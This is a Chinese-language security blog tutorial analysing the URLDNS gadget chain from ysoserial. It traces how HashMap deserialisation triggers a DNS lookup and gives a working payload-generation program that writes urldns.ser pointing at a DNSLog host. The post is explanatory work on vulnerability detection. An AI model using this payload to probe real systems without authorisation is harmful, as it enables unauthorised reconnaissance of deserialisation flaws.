URLDNS利用链分析

URLDNS利用链是ysoserial中非常经典的一条链子,他通常用来检测是否存在java反序列化漏洞,由于该链仅依赖 Java 内置类、无需第三方库,且适用范围广,因此常被用于无回显环境下的漏洞探测,其具有以下的特点:

  • 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
  • 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
  • URLDNS利用链,只能发起DNS请求,并不能进行其他利用

官方的利用链

ysoserial 官方给出的 URLDNS Gadget Chain 如下:

Gadget Chain:

HashMap.readObject()

HashMap.putVal()

HashMap.hash()

URL.hashCode()

调试分析

先看一个简单的demo,用于验证URL.hashCode会触发DNS解析

package ysoserial;

import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class URLDNS{
   public static void main(String[] args) throws MalformedURLException {
       HashMap<URL,Integer> a = new HashMap<URL,Integer>();
       a.put(new URL("https://745067d69a.ddns.1433.eu.org."), 1);
  }
}

运行后可以看到在DNS平台接受到请求

image-20260131164120796

先跟进到HashMap类中

image-20260131164224275

可以看到这个类实现了Serializable接口,并重写了readObject方法

image-20260131164434490
image-20260131164442956

在readObject方法中,反序列化过程中会重新将键值对插入到HashMap中,核心代码putVal(hash(key), key, value, false, false);

在HashMap中插入一个键值对,在插入之前计算key的哈希值,也就是说,在反序列化过程中,HashMap会重新计算key的hash值

这里返回跟进demo中的put

image-20260131165233450

可以看到返回的也是putVal方法

继续跟进调用的hash方法

image-20260131165408886

就是判断key是否为null,为Null的话就返回0,否则将对key进行使用hashCode()方法后赋值给h并将这个h进行位移16位的异或操作

看这个hashCode方法,这个方法在URL类中

image-20260131165704153

这里会对hashCode的值进行判断,看是否为-1,如果为-1会调用URLStreamHadnler的hashCode方法,而hashCode在URL类是默认为-1的

image-20260131165943987

跟进URLStreamHadnler类的hashCode方法

image-20260131170753028

u就是我们传入的url,这里会调用getHostAddress()方法,进行DNS查询

getHostAddress()

    synchronized InetAddress getHostAddress() {
       if (hostAddress != null) {
           return hostAddress;
      }

       if (host == null || host.isEmpty()) {
           return null;
      }
       try {
           hostAddress = InetAddress.getByName(host);
      } catch (UnknownHostException | SecurityException ex) {
           return null;
      }
       return hostAddress;
  }

这里的InetAddress.getByName(host)就是根据主机名,获取其IP地址

exp

package ysoserial.Test;

import java.net.MalformedURLException;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
import java.io.*;
import org.junit.Test;

public class URLDNS{
   public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
       HashMap<URL,String> map = new HashMap<>();
       URL url = new URL("http://f1bfc12a25.ddns.1433.eu.org.");
       Class cla = url.getClass();
       Field fields = cla.getDeclaredField("hashCode");
       fields.setAccessible(true);
       fields.set(url,1);//避免提前触发DNS解析
       map.put(url,"abc");
       fields.set(url,-1);
       serialization(map);

  }

   public static void serialization(Object obj) throws IOException, NoSuchFieldException, IllegalAccessException {
       ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("urldns.ser"));
       o.writeObject(obj);
  }
   @Test
   public void unserialization() throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
       ObjectInputStream oo = new ObjectInputStream(new FileInputStream("urldns.ser"));
       oo.readObject();
  }
}

总结

在HashMap类中重写了readObject方法,而readObject方法中的putVal方法会调用hash方法,hash方法下会调用URL类的hashCode方法,当hashCode属性等于-1,会调用URLStreamHadnler类的hashCode方法,之后就会调用getHostAddress方法,最后调用InetAddress.getByName方法触发DNS请求,通过URLDNS链子可以用来快速检测是否存在反序列化漏洞

该利用链在大多数 JDK 版本中均可使用,但在部分高版本 JDK 或安全策略受限环境下,DNS 请求可能被拦截。

参考文章:

https://fupanc-w1n.github.io/p/urldns
https://www.qwesec.com/2025/11/java-unserialize-urldns-chain.html
https://xz.aliyun.com/news/8916

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇